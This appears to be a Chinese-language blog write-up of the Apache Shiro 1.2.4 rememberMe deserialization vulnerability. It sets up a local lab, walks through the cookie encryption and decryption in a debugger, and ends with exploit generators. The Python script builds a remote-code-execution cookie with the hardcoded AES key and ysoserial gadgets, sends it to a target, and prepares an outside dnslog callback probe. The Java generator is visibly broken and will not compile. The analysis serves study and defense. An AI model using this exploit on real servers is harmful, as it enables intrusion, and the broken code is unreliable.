漏洞原理
Apache Shiro <= 1.2.4 版本中,加密的用户信息序列化后存储在Cookie的rememberMe字段中,攻击者可以使用Shiro的AES加密算法的默认密钥来构造恶意的Cookie rememberMe值,发送到Shiro服务端之后会先后进行Base64解码、AES解密、readObject()反序列化,从而触发Java原生反序列化漏洞,进而实现RCE。
该漏洞的根源在于硬编码Key。
漏洞版本
Apache Shiro <= 1.2.4
环境搭建
git clone https://github.com/apache/shiro.git //下载shiro的源码
git checkout shiro-root-1.2.4 //切换版本到1.2.4
接着在IDEA中打开shiro/samples/web子目录为项目,这里需要注意,会解析web目录的文件和自动下载maven中写的插件加载速度会很慢
修改pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-toolchains-plugin</artifactId>
<version>1.1</version>
<executions>
<execution>
<goals>
<goal>toolchain</goal>
</goals>
</execution>
</executions>
<configuration>
<toolchains>
<jdk>
<version>1.8</version>
//这里可能会根据自己的实际情况写jdk版本,如果本地只安装了1.8,那么就在maven install的时候修改一下toolchains.xml,在最后增加以下内容
//idea中的位置C:\Program Files\JetBrains\IntelliJ IDEA Community Edition 2020.2.3\plugins\maven\lib\maven3\conf
<!--
<toolchain>
<type>jdk</type>
<provides>
<version>1.8</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>C:\Program Files\Java\jdk1.8.0_241\</jdkHome>
</configuration>
</toolchain>
</toolchains>
-->
<vendor>sun</vendor>
</jdk>
</toolchains>
</configuration>
</plugin>
//这个plugin我注释掉了,莫名其妙报错,不知道原因,是个测试模块
<!--
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
-->
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId> //这里增加的是commons-collections4这个第三方库, ysoserial好打
<version>4.0</version>
</dependency>
<dependency> //这个标签
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency> //这个标签
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
<scope>runtime</scope>
</dependency>
</dependencies>
</project>
随后点击右上角的run就可以跑起来整个项目了

调试分析
众所周知,shiro的反序列化的点产生在cookie中,所以我们定位到相关代码,在源码org.apache.shiro包中,有个mgt/CookieRememberMeManager类,而该类继承自AbstractRememberMeManager,向上跟进,发现该类是实现RememberMeManager接口的类
跟进RememberMeManager接口
这个接口类中定义了4个方法,我们在onSuccessfulLogin处打上断点,看看是具体登陆过程中实现了哪些方法

勾选上Remember Me后,点击登陆

跳转到了AbstractRememberMeManager类中的onSuccessfulLogin方法,本来就是这个类实现的接口类RememberMeManager

进入到方法后,首先执行的this.forgetIdentity(),跟进去看一下
这个函数的功能主要是获得http请求和相应中的东西

然后继续调用this.forgetIdentity,并且填充获取到的request和response
跟进去this.forgetIdentity,发现调用了this.getCookie().removeFrom

跟进去this.getCookie().removeFrom()方法,发现调用了addCookieHeader,在cookie头里加了一个deleteMe字段,然后就没做其他事情了

然后继续回到最上层函数onSuccessfulLogin()方法中

执行了一个判断,就是判断一下RememberMe有没有勾选,如果勾选了就会是true

之后判断完,就执行了this.rememberIdentity()方法,跟进去

首先执行了一个getIdentityToRemember()来获取用户的身份,传入的authcInfo,就是我们输入的用户名,root
随后就调用了this.rememberIdentity(),跟进去看一下

发现直接就调用this.convertPrincipalsToBytes,主要功能是把获取到的凭证转换成字节
首先,序列化凭证,然后调用encrypt()函数把字节加密,最后返回

简单跟一下encrypt()函数
发现是内部调用了加密服务,服务获取的是AES/CBC/PKCS5Padding加密算法

再后面是获取加密用的key对数据进行加密
这里的key就比较有意思了,key是由类的构造函数调用setCipherKey,自动赋值为Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")

然后加密完成后转成字节流就返回了
也就是rememberIdentity()这个函数获取的其实是root的AES加密之后的结果

随后就调用了this.rememberSerializedIdentity()
跟进去看一下
这个函数的功能就是把刚才序列化过的身份认证信息设置到cookie里

这里登录过程就分析完了
然后我们分析解密过程
现在cookie中记录了我们的刚才保存的cookie信息,看一下shiro是怎么把这个cookie解密成需要的字符串的
在RememberMeManager接口类中还定义了一个getRememberedPrincipals(),很明显这个就算获取身份认证信息的方法,在这里打上断点,然后关闭浏览器,重新访问网页看看cookie解析过程
同理还是跳转到了功能实现类AbstractRememberMeManager中的getRememberedPrincipals()方法中

首先执行的this.getRememberedSerializedIdentity()方法,把cookie中的数据读取出来
跟进去,里面有一个关键函数String base64 = this.getCookie().readValue(request, response);

这里就是把请求中的cookie数据读取rememeberMe字段,然后复制给value进行返回

随后回到上层函数getRememberedSerializedIdentity()方法中
这里做了一个比较把取出来的值做一下对比,看看是不是deleteMe字段,如果是就返回控
如果不是就做一个base64确定填充,随后做base64解密成字节流,然后返回

然后回到上层函数getRememberedPrincipals()中
接着执行this.convertBytesToPrincipals(),从函数名我们就能知道把刚才base64解密的字节流转换成身份认证信息,这个函数比较重要
跟进去,发现调用了this.decrypt()函数,然后把解密后的字节流反序列化,然后返回

跟一下this.decrypt()函数
这里就比较有意思了,还是调用的getCipherService()来获取加密方法,就是加密的时候提到的AES加密AES/CBC/PKCS5Padding
然后获取加密key,就是前文提到的Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
然后调用解密函数解密

跟一下解密函数decrypt()
这里我们分析一下逻辑
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
byte[] encrypted = ciphertext;
byte[] iv = null;
if (this.isGenerateInitializationVectors(false)) {
try {
int ivSize = this.getInitializationVectorSize(); //这个是个128位,定义好的
int ivByteSize = ivSize / 8; //这里是16位
iv = new byte[ivByteSize]; //定义一个字节组,长度是16位
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize); //这里把ciphertext从0开始拷贝到iv的0开始,每次拷贝16位
int encryptedSize = ciphertext.length - ivByteSize; //定义一个加密字节,大小是ciphertext的长度-16
encrypted = new byte[encryptedSize]; //定义一个加密字节组,大小是encryptedSize
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize); //这里把ciphertext从16开始,拷贝到encrypted,从0开始,每次拷贝encryptedSize
} catch (Exception var8) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, var8);
}
}
return this.decrypt(encrypted, key, iv); //这里调用下层解密,把取到的要解密的数据传入,key传入,iv即16个字节传入
}
追进decrypt()

发现调用了this.crypt()
追进去


到这里就是java的原生解密方法了然后解密后返回
回到上层函数decrypt,到serialized = byteSource.getBytes();这,就算解密完成,然后返回
继续上层函数getRememberedSerializedIdentity(),调用this.deserialize(bytes);开始反序列化
跟进去,来到了熟悉的readObject()方法

payload编写
到这里我们已经分析清楚了shiro的序列化和反序列化的整个过程
所以我们如果需要shiro反序列化,我们需要一个cookie,cookie里面的数据是rememberMe字段,并且是AES/CBC/PKCS5Padding模式加密,然后是base64加密
其中key是shiro中写好的那个base64编码
iv是rememberMe解码后的前16个字节
有了key和iv就可以让shiro开始反序列化了
反序列化开始后,具体使用哪个调用链,就看shiro加载了哪个
写成完整的生成方式,就是这样
payload生成
java版的exp生成
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.AlgorithmParameters;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidParameterSpecException;
import java.util.Base64;
public class shirorememberme {
public static void main(String[] args) throws InvalidParameterSpecException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, InvalidAlgorithmParameterException, InvalidKeyException {
byte[] payload = "12312312"; //这里用ysoserial生成的字节流传进来
String key = ""; //这里就是shiro中留的硬编码key,可以for循环起来
Base64.Decoder raw = Base64.getDecoder(key);
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
AlgorithmParameters params = cipher.getParameters();
byte[] ivs = params.getParameterSpec(IvParameterSpec.class).getIV();
IvParameterSpec iv = new IvParameterSpec(ivs);
SecretKeySpec keySpec = new SecretKeySpec(raw, "AES");
cipher.init(Cipher.ENCRYPT_MODE, keySpec, iv);
byte[] encrypted = cipher.doFinal(payload);
byte[] result = new byte[ivs.length + encrypted.length];
System.arraycopy(ivs,0, result, 0, ivs.length);
System.arraycopy(encrypted, 0, result, ivs.length, encrypted.length);
}
}
python版本的exp生成
import base64
import sys
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
def encode_rememberme(command):
# 这里使用CommonsCollections2模块
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
# 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
BS = AES.block_size
# 按照加密规则按一定长度对齐,如果不够要要做填充对齐
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# 泄露的key
key = "kPH+bIxk5D2deZiIxcaaaA=="
# AES的CBC加密模式
mode = AES.MODE_CBC
# 使用uuid4基于随机数模块生成16字节的 iv向量
iv = uuid.uuid4().bytes
# 实例化一个加密方式为上述的对象
encryptor = AES.new(base64.b64decode(key), mode, iv)
# 用pad函数去处理yso的命令输出,生成的序列化数据
file_body = pad(popen.stdout.read())
# iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_rememberMe_value
def dnslog(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_rememberMe_value
if __name__ == '__main__':
# cc2的exp
payload = encode_rememberme('calc.exe')
print("rememberMe={}".format(payload.decode()))
# dnslog的poc
payload1 = encode_rememberme('http://ca4qki.dnslog.cn/')
print("rememberMe={}".format(payload1.decode()))
cookie = {
"rememberMe": payload.decode()
}
requests.get(url="http://127.0.0.1:8080/web_war/", cookies=cookie)